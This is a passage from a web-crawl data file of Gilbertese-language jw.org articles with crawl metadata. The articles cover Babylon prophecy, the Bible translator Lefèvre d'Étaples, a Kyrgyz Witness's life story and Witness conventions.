1.0000100135803223}","num_words":1092,"character_repetition_ratio":0.068,"word_repetition_ratio":0.009,"special_characters_ratio":0.246,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taetae ni burabetini Iehova baike a na riki\n\"Taimi kanoan te kainikatebe\"\n\"A a katoka aia buaka taani buaka mai Baburon\"\nE taekinaki aei n te Nabonidus Chronicle: \"A taua Baburon kaain ana taanga ni buaka Tairati n akea buakanaia.\" E bae n nanonaki iai ae akea te buaka i marenaia ao e boraoi ma ana taetae ni burabeti Ieremia\n\"E na riki Baburon bwa te bwariko n atibu [ao ni] kamaroaeaki n aki toki\"\nNi moan 539 B.C.E., e a moanna ni kerikaaki kakannatoni Baburon. E iangoia Alexander te Kakannato bwa e na karika Baburon bwa kautun ana tautaeka ma e a karina naba ni mate. Ni moanakin aia tai Kristian ao a boni maeka naba iai I-Iutaia, are e a reke iai angan te abotoro Betero bwa e na nako Baburon. Ma n te kaaua n tienture C.E., e a urubekebeke te kaawa ao imwina riki ai bon akea","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tun-2017-mwb\/kaetieti-ibukin-te-botaki-tun5-11\/a-kokoro-bukin-ana-taeka-ni-kabane-iehova\/","date":"2018-01-20T16:10:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889660.55\/warc\/CC-MAIN-20180120142458-20180120162458-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":151,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N INGABONGIN te Taabati teuana ni moan 1520 tabun, ao bon te tounako irouia kaaini Meaux, ae te kaawa ae uarereke ae mena i rarikini Paris, n te baere a ongo n aia umwantabu. A ongora ni warekan taian Euangkerio n oin aia taetae ae te taetae ni Buranti ao ai tiaki n Ratine!\nTe tia raira te Baibara are ngaia ae karaoa te rairai anne bon Jacques Lefèvre d'Étaples (Arana n te taetae n Ratine, Jacobus Faber Stapulensis), e korea ae kangai imwina nakon raoraona ae tatangiria: \"Ko bon aki kona n iangoa aron te Atua ni buokiia [aomata] aika mangori n taabo tabeua bwa a na ota n ana Taeka.\"\nN te tai anne ao te Aro ni Katorika ma taan rabakau n te Aro i Paris, a totokoa kabonganaani Baibara ake a rairaki n taetae aika ota iai aomata nako. Ngaia are tera ae e kaira Lefèvre bwa e na raira te Baibara nakon te taetae ni Buranti? Ao e kangaa ni kona ni buokiia aomata aika mangori bwa a na ota n Ana Taeka te Atua?\nUKERAN AE NANONAKI RAOI N TE KOROBOKI AE TABU\nImwain ae e riki Lefèvre bwa te tia raira te Baibara, ao e a kamani motikia bwa e na manga kaoki baike a nanonaki raoi n aia moan rairai taani karioiango ma taan rabakau i aon te Aro. E noria bwa i nanoni waakinakon taian tienture, ao a aki toki ni kabwaouaaki kanoani koroboki nikawai aikai n taian rairai aika bureburea te aba ao ni kairua. Ibukini kakaaean ae nanonaki raoi ni koroboki nikawai aikai iroun teuaei, e a kamatebwaia raoi te Baibara ae kabonganaaki n te Aro ni Katorika ae te Latin Vulgate.\nE a kairaki n ingaingana n ukeuke n reirei i aon te Koroboki ae Tabu, bwa e na kakoauaa ae \"te ukeuke tii i aon ana koaua te Atua e boni karekea . . . te kukurei ae moan te bati.\" Ngaia are e a katoka kamatebwaian taiani karioiango akekei Lefèvre, ao e a kabanea korakorana n raira te Baibara.\nN 1509 ao e a boreetia mwin ana ukeuke Lefèvre i aon rairai aika nimaua aika kakaokoro n te taetae n Ratine i aon Taian Areru, * n ikotaki naba ma kaetani kairua ake e kunei imwin ana ukeuke i aon te Baibara ae te Vulgate. E kaokoro teuaei ma taan rabakau i aon te Aro ake a maiu n ana tai, bwa e kakorakoraa ni kakaaea \"ae nanonaki raoi\" ni kibun nako te Baibara. E korakora rotakia taan rabakau i aon te Baibara ake tabeman riki ao taani boutokaa te bwenaua n te Aro n ana anga teuaei n raira te Koroboki ae Tabu.\nNgkai e bungiaki n te Aro ni Katorika Lefèvre, e a kakoauaa raoi teuaei bwa e boni kona ni kaetaki te Aro, ma tii ngkana a reireinaki aomata aika mangori kanoan te Koroboki ae Tabu n te aro ae eti. Ma a na kangaa ni kakabwaiaaki aomata aika mangori man te Koroboki ae Tabu, n te tai are a rairaki iai angiini koroboki akana tabu akanne n te taetae n Ratine?\nTE BAIBARA AE E NA KAI REKE IROUIA AOMATA NAKO\nE kairaki Lefèvre ni korakoran tangiran Ana Taeka te Atua bwa e na katauraoa te Baibara ae e na kai reke irouia aomata aika rangi ni mwaiti. Ibukin rokona n tiana anne, e a boreetia te rairai i aon taian Euangkerio n te taetae ni Buranti n Tun 1523, ni volume aika uoua aika uarereke tiaitiia. Te Baibara ae uarereke teina aei, ae boona bon iterani boon te Baibara are kabonganaaki n te tai anne, e a kabebetea aroia aomata ake e aki tau aia tianti bwa a na karekea oin aia Baibara.\nE rangi ni korakora ma ni kaunganano aroia aomata aika mangori ni butimwaea te rairai aei. A rangi n ingainga mwaane ma aine ni wareka ana taeka Iesu n oin aia taetae, n te aro are a a bane naba ake a moani boreetiaki ae 1,200 mwaitiia, tii i nanon tabeua te namwakaina.\nE NINIKORIA N TEI IBUKIN TE BAIBARA\nE kabwarabwaraa Lefèvre n ana moantaeka ake ibukin taian Euangkerio, bwa e rairi nakon te taetae ni Buranti, bwa a aonga \"aomata aika mangori ake kaain\" te Aro \"ni kona n ota raoi n taiani koaua ake n taian euangkerio n aron naba otaia naake a warekia n te taetae n Ratine.\" Ma bukin tera bwa e rangi n ingainga Lefèvre ni buokiia aomata aika mangori bwa a na okiri ana reirei te Baibara?\nE nora raoi aron rotakibuakan te Aro ni Katorika Lefèvre man aia reirei ao aia karioiango aomata. (Mareko 7:7; I-Korote 2:8) Ao e kakoauaa teuaei bwa e a roko ngkai te tai ae a nang riai iai n \"tataekinaki n te aro ae eti ni kabutaa te aonnaba [taian Euangkerio], bwa a aonga n aki manga katiotioaki nako aomata n reirei aika karioaki irouia aomata.\"\nE kakorakoraa naba Lefèvre ni kaotaraei aia iango aika kairua naake a totokoa rairan te Baibara nakon te taetae ni Buranti. E kabuakakai aroia ni mwamwanaa te aba ngke e kangai: \"A na kangaa n reireinia [aomata] bwa a na kakairi ni bwaai ni kabane ake e tua Iesu Kristo, ngkana a aki anga te kariaia nakoia aomata aika mangori bwa a na nora ao ni wareka ana Euangkerio te Atua n oin aia taetae?\"\nMaroaka are a a kataia naba ngkekei ni kaina win Lefèvre, taan rabakau i aon te Aro ake n te Reirei ae Rietata i Paris ae te Sorbonne! N Aokati 1523 ao a totokoa te raitaeka i aon te Baibara n ikotaki ma kabwarabwaraana, bwa a taku bwa \"a karuanikai nakon te Aro.\" Ngke arona bwa e aki karaoa te bwai teuana Ueani Buranti ae Francis I, ao e na boni kabuakakaaki Lefèvre n aranaki bwa te tia kakaaitara.\nE TIA ANA MWAKURI TE TIA RAITAEKA AE \"KAINABWABU\"\nE aki kariaia kauntaekaan ana mwakuri Lefèvre bwa e na tukia man rairakin te Baibara. N 1524 imwin tian ana rairai i aon te Koroboki ae Tabu n te Taetae ni Kuriiti (ae aranaki bwa te Nu Tetemanti), ao e a kaotinakoa ana rairai i aon Taian Areru n te taetae ni Buranti, bwa a aonga ni kona kaain te Aro n tataro \"ma karinean te Atua ae korakora irouia ma nanoia ni kabane.\"\nA aki tabwara taan rabakau i aon te Aro ake n te Sorbonne, ma a a karaua naba n tuoa ana rairai Lefèvre aei. A waekoa n tua bwa e na kabuekaki i mataia aomata ana rairai ae i aon te Koroboki ae Tabu n te Taetae ni Kuriiti, ao a kabuakakai rairai tabeua n taku bwa \"e irana ana koaua Luther ake a kaaitarai koaua aika taabangaki.\" Ngke e a weteaki Lefèvre irouia taan rabakau i aon te Aro aikai bwa e na kabwarabwarai ana koaua, e a motinnanoia bwa e na teimatoa ni \"kainabwabu\" ao ni birinako nako Strasbourg. Ikanne are e a reitaanako iai ana raitaeka i aon te Baibara ma te taratara raoi. E ngae ngke a iangoa teuaei tabeman bwa e kimamaaku, ma e kakoauaa teuaei bwa aei te anga ae te kabanea n raoiroi ibukini kaekaaia aomata aika akea aia kakaitau ibukini \"moomin te bwaeao\" aika rangi ni kakawaki aika ana koaua te Baibara.—Mataio 7:6.\nE kaania teuana te ririki imwini birinakon Lefèvre aei, ao e a mwiokoaki naba iroun te Uea ae Francis I bwa e na riki bwa ana tia reirei natina te mwaane ae Charles, ae aua ana ririki. Mwiokoan Lefèvre aei are e a karekea ana tai ae bati ni katiaa rairan te Baibara. N 1530 ao e a boreetiaki i tinanikuni Buranti i Antwerp, ana rairai i aon te Baibara ae bwanin, i aan ana kariaia te Embera ae Charles V. *\nANA KANTANINGA AIKA RANGI N RARAOI, AO AI URINGAABANA\nI nanoni maiun Lefèvre ao e kantaningaa te tai are te Aro e nang kaaki iai katei n aomata, ao n okira te atatai ae koaua man te Baibara. E kakoauaa raoi teuaei bwa \"a riai ao bon tabeia Kristian n tatabemania nako bwa a na wareka ao n reiakina te Baibara i bon irouia.\" Anne bukina are e mwakuri korakora iai ni katauraoa te Baibara ae e na kai reke irouia aomata nako. E ngae ngke e aki koro bukin te baere e kantaningaia Lefèvre, are te Aro e nang okira te eti, ma e bon aki kona ni kakeaaki bongan ana mwakuri are e a tia ni buokiia aomata aika mangori bwa a na ataa Ana Taeka te Atua.\n^ bar. 8 Iai n te boki ae te Fivefold Psalter rairai aika nimaua ibukin Taian Areru ake a kakaokoroaki ni karinanaki, ao ai te taibora ae kaotii nakoa ake a kaineti nakon te Atua, n ikotaki naba ma manin te taetae n Ebera ake aua ake a ataaki bwa te Tetragrammaton, ake a tei ibukin aran te Atua.\n^ bar. 21 Nimaua te ririki imwina n 1535 ao e a kaotinakoa ana rairai i aon te Baibara ae boboto i aon taiani koroboki rimoa, te tia raitaeka ae te I-Buranti ae Olivétan. E rangi ni kabongana ana rairai Lefèvre ngke e raira te Koroboki ae Tabu n te Taetae ni Kuriiti.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na6-2016-nobembwa\/lefevre-detaples-te-rairai-n-te-baibara\/","date":"2018-01-17T04:30:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886794.24\/warc\/CC-MAIN-20180117023532-20180117043532-00145.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1523,"character_repetition_ratio":0.079,"word_repetition_ratio":0.007,"special_characters_ratio":0.22,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E NANG akea riki te mate, ao a na manga maiu maate.\" E ongo taeka akanne buu ae Mairambubu ngke e toka n te bwati. E kiriuriu nanona ni kan ataa ae bati riki, ngaia are ngke e tei te bwati ao a ruo bwatintia, e a biri naba n rimwin te aine are taekin taeka akanne. Arana bon Apun Mambetsadykova, ao bon Ana Tia Kakoaua Iehova temanna. E karuanikai te taetae ma taani Kakoaua ni boong akanne, ma e boni bitii maiura te bwai are ti reiakinna imwina riki iroun Apun.\nTE MWAKURI MAN OTIN TAAI NI KAROKOA BUNGINTAAI\nI bungiaki n 1937 n te kolkhoz, ke te tabo n ununiki ae a bati taani bwaibwai iai, i rarikin Tokmok, i Kyrgyzstan. Boni kaain Kyrgyz ara utu, ao ti kamanena te taetae ni Kyrgyz. Bon taan ununiki au karo, ao a mwakuri n te tabo n ununiki anne man otin taai ni karokoa bungintaai. A anganganaki kanaia taan ununiki, ma a anganganaki booia te mwane tii te taina n te ririki. E mwakuri korakora tinau ibukiu ma mwaane ae karimwiu. Imwin tii nimaua au ririki n reirei, I a moana au mwakuri ni kabwanina au tai n te tabo n ununiki ae te kolkhoz.\nA rangi ni bati aika maiu ni kainnano n te tabo are I maeka iai, ao e rangi ni kakua te mwakuri ibukini karekean te maiu. Ngkai bon te teinimwaane ngai, I aki bati n iaiangoa manenan te maiu ke taai aika a na roko. Akea n au iango ae e na bitaki maiuu n taiani koaua aika kakawaki ibukin Iehova ae te Atua ma ana kantaninga. Bon te karaki ae kakaongora aron rokon te rongorongo anne ao butanakona i Kyrgyzstan. E moa man au kaawa i Kyrgyzstan meang.\nA KAROKOA TE KOAUA I KYRGYZSTAN NAAKE A KAKIONAKOAKI MAI ABAIA RIMOA\nE nene wakaan te koaua ibukin Iehova ae te Atua i Kyrgyzstan n 1950 tabun. A a tia n reireinaki aomata te koaua ni Komuniti ao ngkai a a riai n reiakina te koaua man te Baibara. Bukin tera? E mena ngkoa Kyrgyzstan ae ngkai i aan te Union of Soviet Socialist Republics (USSR). A teimatoa n tei i nuka Ana Tia Kakoaua Iehova ni kaineti ma ana waaki te tautaeka ni kabutaa te USSR. (Ioa. 18:36) Ibukin anne, a boni bwainikirinaki ngkai ngaiia ana kairiribai te Tautaeka ni Komuniti. Ma akea te koaua teuana ae kona ni katoka Ana Taeka te Atua man ringan nanoia aomata aika raoiroi nanoia. Eng, te reirei ae moan te kakawaki ae I a tia ni karekea ni maiuu bon aei, \"e konai bwaai ni kabane\" Iehova.—Mareko 10:27.\nE rikirake mwaitiia Ana Tia Kakoaua Iehova i Kyrgyzstan mani bwainikirinaia. Bukin tera? E karina naba aonon Siberia te USSR i aana are a kakioakinako nako iai ana kairiribai te Tautaeka. Ngke a kainaomataaki naakai, a bati ake a roko i Kyrgyzstan, ao tabeman i buakoia a uota te koaua. Temanna i buakoia bon Emil Yantzen, ae bungiaki i Kyrgyzstan n 1919. E kabureaki Emil n te tabo are a kammwakuraki iai buure ao e a kaitiboo ma taani Kakoaua iai. E butimwaea te koaua ao e okira abana n 1956. E maeka Emil n uakaan ma Sokuluk, n au kaawa. Sokuluk bon te tabo are e tei iai te moan ekaretia i Kyrgyzstan n 1958.\nTao teuana te ririki imwina, e a mwaing Victor Vinter nako Sokuluk. E okioki ni kaaitara ma kangaanga te tari te mwaane ae kakaonimaki aei. Uoua ana tai ni kabureaki n te maan ae kaka tenua te ririki ibukin teina i nuka, imwina e kabanea tebwina riki te ririki n te karabuuti ao nimaua te ririki ni kakioakinako mai abana. E ngae n anne, e teimatoa n raababanako te taromauri ae koaua n aki ongea te bwainikirinaki.\nE A KAAN RIKI TE KOAUA MA AU KAAWA\nN 1963 tao ai 160 taani Kakoaua i Kyrgyzstan, ao a bati i buakoia aika kaain Tiaman, Ukraine, ao Rutia. Temanna i buakoia bon Eduard Varter are bwabetitoaki i Tiaman n 1924, are kakioakinako mai abana. N 1940 tabun, ao taian Nazi a kanakoa teuaei nakon te tabo are a kammwakuraki iai buure, ao tabeua te ririki imwina, e a kakioakinako mai abana Eduard irouia Komuniti n te USSR. N 1961 e a mwaing te tari te mwaane ae kakaonimaki aei nakon te kaawa ae Kant, ae rangi ni kaan ma au kaawa.\nE maeka naba i Kant, Elizabeth Fot ae ana toro ae kakaonimaki ni koaua Iehova. E boutokaa maiuna n te itutu. Ibukina bwa e mwaatai n te mwakuri aei, a a kakabooi kunnikaia taokita ao taan reirei irouna. Temanna i buakoia bon Nei Aksamai Sultanalieva, ae buun te tia mwakuri n ana aobiti te rooia ibukia aomata. E kawara Elizabeth Aksamai ibukini kunnikaina, ma e tabeki titiraki aika bati neiei ibukini manenan te maiu ao te bwai ae riki nakoia maate. E kaekai titiraki aikai Elizabeth man te Baibara. E a riki Aksamai bwa te tia tataekina te rongorongo ae raoiroi ae ingainga nanona.\nN te tai naba anne, e a mwiokoaki Nikolai Chimpoesh ae roko mai Moldova bwa te mataniwi ae mwamwananga, ao e teimatoa n ana beku anne n te maan ae kaania 30 te ririki. E aki tii kawari ekaretia ma e bairea naba kaewean ao tibwaakin ara boki. A noraki ana mwakuri irouia kaain te tautaeka. Ngaia are e anga ana taeka n reirei ae kaunganano Eduard Varter nakon Nikolai ae kangai: \"Ngkana a titirakiniko kaain te tautaeka, tai wimakiki ao tuangia ae ti karerekei ara boki mani kautun ara botaki i Brooklyn. Katokai matam n taraa te tia tei man te KGB. Bon akea te bwai ae ko riai ni maakua.\"—Mat. 10:19.\nE aki maan imwin te maroro aei, e a kawaekoaaki Nikolai mani kautun te KGB i Kant. Aio ana karaki ibukin te baere riki imwina: \"E titiraki te tia tei man te KGB bwa ti karerekei mai ia ara boki. I tuangnga bwa ti karerekei mai Brooklyn. E a aki ataa te bwai ae e na taekinna ni kaineti ma anne. Ma e a tii tuangai naba bwa N na nako ao e aki manga kawaekoaai.\" A teimatoa n taratara raoi taani Kakoaua aika ninikoria aikai ngke a tibwaanako te rongorongo ae raoiroi n au kaawa i Kyrgyzstan meang. N tokina, ngke e a roko te koaua ae kakawaki ibukin Iehova n au utu n 1981, boni buu ae Mairambubu ae moan ongora.\nE WAEKOA N ATAIA BUU BWA BON AEI TE KOAUA\nMairambubu boni kaain Naryn ae Aonon Kyrgyzstan. N te bong teuana n Aokati 1974, e kawara mwaaneu n ana auti. Aei te tabo are ti moani kaitiboo iai, ao I a bon tangira naba Mairambubu n te tai anne. Ti boni mare naba n te bong anne.\nN Tianuare 1981, e toka n te bwati Mairambubu bwa e na nakon te mwakete, ike e a ongo naba taeka aika taekinaki ni moan te kaongora aei. E kan ongora riki buu ngaia are e a titirakina te aine anne arana ao ana atureti. E kaota arana bwa Apun, ma e bon taratara raoi naba ibukina bwa e katabuakaki aia mwakuri taani Kakoaua n 1980 tabun. N oneani mwin are e na anga Apun ana atureti, e bon anaa ara atureti. E okira te auti buu ao e rangi ni kukurei.\nE taku Mairambubu: \"I ongo baika rangi ni kakukurei. E tuangai temanna te aine bwa e a kaan te tai ae a nang aki manga mate iai aomata. A nang kamananaaki naba maan aika tiritiri.\" Irou, titeboo ma te karaki ae karioaki. I taku nakoina: \"Ti na tataninga ni karokoa ae e a manga kawarira ni kabwarabwaraa raoi.\"\nE kawarira Apun tenua te namwakaina imwina. N rokona ake imwina riki, ti a kaitiboo iai ma naake a moan riki bwa taani Kakoaua aika kaain Kyrgyz. A kaotii nakoira taari aine aikai koaua aika kamimi ibukin Iehova ma ana kantaninga ibukin te botannaomata. A reireinira man te boki ae From Paradise Lost to Paradise Regained. * Ibukina bwa tii teuana katotona i Tokmok, ti a kaewea ara boki.\nTe bwai teuana ae ti moan reiakinna naba bon te taetae ni burabeti ni Karikani Bwaai 3:15. E na kakoroaki bukin te taetae ni burabeti aei rinanon Iesu ae te Uea ae te Mesia. E kakawaki te rongorongo anne ao a riai n ongo aomata nako! Aio bukina ae moan te kakawaki ae ti riai n uataboa iai tataekinana. (Mat. 24:14) N te tai ae waekoa, a a moanna ni bitaki maiura n ana koaua te Baibara.\nKATABUAKANI BOBOTAKI AO TE BWABETITO\nE kaoira te tari te mwaane temanna i Tokmok nakon te baka ni mare teuana. I waekoa n noria ma buu bwa a kaokoro aroaroia taani Kakoaua. Akea te manging, ao e baireaki raoi kanoan te botaki. Moan te kaokoro aei ma baaka ni mare ake tabeua ake ti kaakaei, bwa a kokoro ni manging iruwa, a bubuaka aroaroia, ao a taekin taeka aika kammaira.\nTi kaakaei naba bobotaki ni Kristian n te ekaretia i Tokmok. A boni kakaraoaki n te buakonikai ngkana e raoi tauani kanoan te bong. A ataia taari ae a teimatoa bureitiman ni mataukiroira, ngaia are a karekea te tia tantani temanna. N tain te kamwaitoro, ti bobotaki n taromauri n te auti. A bati taai ake a roko iai bureitiman n te auti bwa a kan ataia bwa tera ae ti karaoia. Ngke I bwabetitoaki ma Mairambubu n Turai 1982 n te Chüy River, ti riai n taratara raoi naba. (Mat. 10:16) A roko taari tabeman imwin tabeman ao ti botaki n te buakonikai. Ti anenea kunan te Tautaeka n Uea ao n ongora te kabwarabwara ibukin te bwabetito.\nTI KAMANENA RAOI TE TAI AE REKE NI KARABABAA ARA MWAKURI NI MINITA\nN 1987, e tuangai te tari te mwaane temanna bwa N na kawara te aomata ae kan ongora n te kaawa ae Balykchy. Ti kabanea aua te aoa i aon te turein ni mwanangara ni kawaria. Imwin okiokiran Balykchy tabeua te tai n uarongorongo iai, ti a kunea bwa a rangi ni bati aika kan ongora. Bon aei raoi te tai ae angaraoi ibukini karababaan ara mwakuri ni minita.\nI aki toki ni mwananga ma Mairambubu nako Balykchy. Ti tiku ikanne n angiini wikeen, ti uarongorongo iai, ao ni karaoi bobotaki ni Kristian. E a waekoa n rikirake tangiran ara boki. Ti uouotii booki mai Tokmok n te mishok ae te baeki ni buteeta. A on uaai te baeki ni booki ni katoa namwakaina ao e aki tau naba te mwaiti anne. Ngkana ti toka n te turein mai Balykchy ao n oki, ti uarongorongo naba nakoia bwatintia.\nN 1995, e a tei te ekaretia i Balykchy, wanua te ririki imwini moani kawaran te kaawa anne iroura. E bati te kabanemwane n te mwananga i marenan Tokmok ma Balykchy n ririki akanne. E aki tau ara mwane ma ti kangaa ni karaoa anne? E katoatai n anganira te mwane te tari te mwaane temanna ibukin ara kabanemwane ni kabane. E nori ingaingan nanora Iehova ni kani karababaa ara mwakuri ni minita, ao e a kauki \"mataroani karawa\" nakoira. (Maraki 3:10) Eng, ti konai bwaai ni kabane iroun Iehova!\nI TABETABE IBUKIA AU UTU AO N TE MWAKURI NI MINITA\nN 1992, I a mwiokoaki bwa te moan unimwaane ae kaaini Kyrgyz. N ara ekaretia n ara kaawa ae Tokmok, ao a a manga reke aanga ni mwakuri riki tabeua. A bati ara reirei n te Baibara aika ataei aika reirei n te kuura ibukin te kareke mwakuri aika kaain Kyrgyz. Temanna i buakoia, e a riki ngkai bwa te Komete n te Aobiti n Tararua, ao ake uoman boni bwaiania aika okoro. Ti kakorakoraira naba ni buokiia tabemwaang n ara bobotaki. Ni moan 1990 tabun, e kamanenaaki te taetae n Rutia n ara boki ao n ara bobotaki. Ma n ara ekaretia, e a ririkirake mwaitiia aika kamanena te taetae ni Kyrgyz bwa aia moan taetae. Ngaia are I aki toki n raitaeka ao a a buokaki iai ni kai ota riki n te koaua.\nI rangi n tabetabe n taai nako ma Mairambubu ni kaikawaiia natira. Ti kairiia n te mwakuri ni minita ao nakoni bobotaki n te ekaretia. E rangi ni kukurei ni kataetaeia aomata aika rirarikira n te kawai ao n taekina te Baibara nakoia, natira te aine ae Gulsayra ae ai tibwa 12 ana ririki. Ao a kani kamatenanoi naba natira kibun te Baibara. N tokina, a a rangi n tabetabe natira n ibuobuoki ni mwakuri aika kakaraoaki n te ekaretia, ao rimwi riki tibura. Mai buakoia natira aika 9 ao tibura aika 11 aika maiu ngkai, a beku ibukin Iehova 16 ke a iririia aia karo nakoni bobotaki.\nBITAKI AIKA RIANAKO\nA na boni mimi taari ake a moani waakina ana mwakuri Iehova n ara aono n 1950 tabun ngkana a nori bitaki aika ti a tia n rinanoi. Bukina teuana bwa man 1990 tabun, ti a inaomata riki n tataekina te rongorongo ae raoiroi ao ni karaoi ara botaki aika bubura.\nN 1991, I kaea te bwabwaro ma buu i Alma-Ata, ae e a ataaki ngkai bwa Almaty, i Kazakhstan, ae ai tibwa ara moantai ni kaea. Ao n 1993, a karaoa aia moani bwabwaro taari i Kyrgyzstan n te Spartak Stadium i Bishkek. A kaitiaka te tabo anne taan uarongorongo i nanon teuana te wiki imwain te botaki. E anaaki nanon te mataniwi iai ao e a kariaia bwa ti na kabongana n akea boona.\nN 1994, ti a roko n te mwaneka ae kakawaki bwa e a moani boreetiaki ara boki n te taetae ni Kyrgyz. E a katoatai ngkai n rairaki ara boki n te taetae anne irouia kaain te tiim n raitaeka n te aobiti n tararua i Bishkek. N 1998, e a kinaaki i aan te Tua ni Kyrgyzstan aia mwakuri taani Kakoaua. E a rikirake ara botaki, ao ai 5,000 tabun taan uarongorongo ngkai. Ni boong aikai, botani mwaitin ekaretia bon 83 ao iai te kurubu n I-Tiaina, n Ingiriti, ni Kyrgyz, n Rutia, n te Taetae n te Bai n Rutia, n Turkish, n Uighur, ao n Uzbek, ae botaia ni kabane 25. A bane ni katiteuanaaki ni beku ibukin Iehova tarira aika tangiraki man aaba aika kakaokoro. A kona n reke bitaki aika rianako aikai mairoun Iehova.\nE boni bita naba maiuu Iehova. I kaikawaaki n te utu ae mangori ao ni maiu ni kainnano ao tii nimaua au ririki n te tabo n reirei. Ma e ngae n anne, e kabonganaai Iehova bwa N na reireinia aomata ana koaua te Baibara aika kakawaki, ao aomata aikai a bubura riki aia reirei nakoiu. E boni kaangaraoi rikini baika rangi ni kamimi Iehova. I kaungaaki ni baike I rinanoi bwa N na teimatoa ni kakaonimaki ni boutokaa Iehova are \"konai bwaai ni kabane.\"—Mat. 19:26.\n^ bar. 21 E boreetiaki irouia Ana Tia Kakoaua Iehova ma e a aki ngkai.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-beberuare-2018\/e-konai-bwaai-ni-kabane-iehova\/","date":"2018-01-24T06:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893397.98\/warc\/CC-MAIN-20180124050449-20180124070449-00352.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2448,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aera ngkai a taraa n rangi ni kukurei aomata aikai? Ibukina bwa a ira teuana mai buakon ara runga. N aroia ana toro te Atua rimoa ake a tuangaki bwa a riai ni bobotaki tentai n te ririki, ti ingainga naba nakon ara bobotaki ni kurubu aika bubura riki. (Te Tua-Kaua 16:16) Ti kakaraoi ara botaki aika tenua ni katoa ririki n aron uoua te runga ae teuana bongina ao te bwabwaro ibukin te aono ae uabong bongina. Ti na kangaa ni kakabwaiaaki ni bobotaki aikai?\nA kateimatoa ara botaki n itaritari ni Kristian. N aroia tibun Iteraera ni kimwareirei ni karaoiroa Iehova \"i buakoia botaki n aomata,\" ti kukurei naba ni bobotaki n taromauria ni botaki aika okoro. (Taian Areru 26:12, BG; 111:1) A a reke angara ni bobotaki aikai ni kaitibooaki ao n iraorao ma taani Kakoaua man ekaretia tabeua ke man aaba riki tabeua. Ti uotii ara katawanou ao ni kaai n amwarake n te tabo are e boo iai te runga, ao ni kauaataoa te itangitangiri ni botaki aikai aika karikirakea te onimaki. (Mwakuri 2:42) Ti a nora iai te tangira are ti a katiteuanaaki iai ma \"[tarira] nako i nanon te onimaki\" n te aonnaba.\nA buoka rikiraken ara onimaki. A kakabwaiaaki ngkoa tibun Iteraera ngke a \"atai taeka\" man te Baibara ake a kabwarabwaraaki nakoia. (Neemia 8:8, 12, BG) A kakawaki naba iroura ana kaetieti te Baibara ake ti karekei n ruunga. A aanaki man te Baibara, booto n iango ibukini botaki nako. Ti reiakinaki arora ni kakaraoa nanon te Atua ni maiura rinanoni kabwarabwara aika kakannongora, reirei aika mwaiti mwakoroia ao kaotioti aika kaotii baika a tia n riki. Ti kaungaaki n ongoraean rongorongoia te koraki ake a a tia n tokanikai i aoni kangaangan te maiu ni Kristian n taai aika karuanikai aikai. A karaoaki kaotioti n taiani bwabwaro ibukin te aono ae ai aron ae ti a boni mena n taai ake a karakinaki n te Baibara ao n reiakinaki n reirei aika manena. E kakaraoaki naba te bwabetito n ara runga ibukia ake a kani kaota katabuani maiuia nakon te Atua.\nE aera ngkai a kakukurei botaki n runga?\nKo na kangaa ni kakabwaiaaki man irakin te runga?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/aia-runga-ana-tia-kakoaua-iehova\/","date":"2018-02-22T15:25:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814124.25\/warc\/CC-MAIN-20180222140814-20180222160814-00307.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":363,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N TE kaawa teuana ae uarereke i Gujarat i Inria, ao e bwabetitoaki taman John bwa temanna Ana Tia Kakoaua Iehova n raabanen 1950 tabun. Boni kaain te Aro ni Katorika aika matoatoa John ma mwaanena aika uoman ao tarina aika teniman ao tinaia naba, ao a kaitaraa ana onimaki tamaia.\nN te bong teuana, e butiiaki John iroun tamana bwa e na nikira te tinaniku teuana iroun raoraona ae kaain ana ekaretia. N te ingabong anne ao e mwakoro bain John ngke e kauka te tiin teuana, ao e rangi n ikoaki. Ma e kan ongeaba iroun tamana, ngaia are e bauta baina are raraabuabua n te moti ni kunnikai ao e a riannanako n nikira te tinaniku.\nNgke e roko John n te auti arei ao e butimwaea te tinaniku buun teuare e na bon nikiria irouna, ae kaain naba Ana Tia Kakoaua Iehova. E nora neiei ikoakini bain John ao e anga nanona bwa e na karaoia. E kaotinakoa ana bwaoki ni bwainnaoraki, e kaitiaka 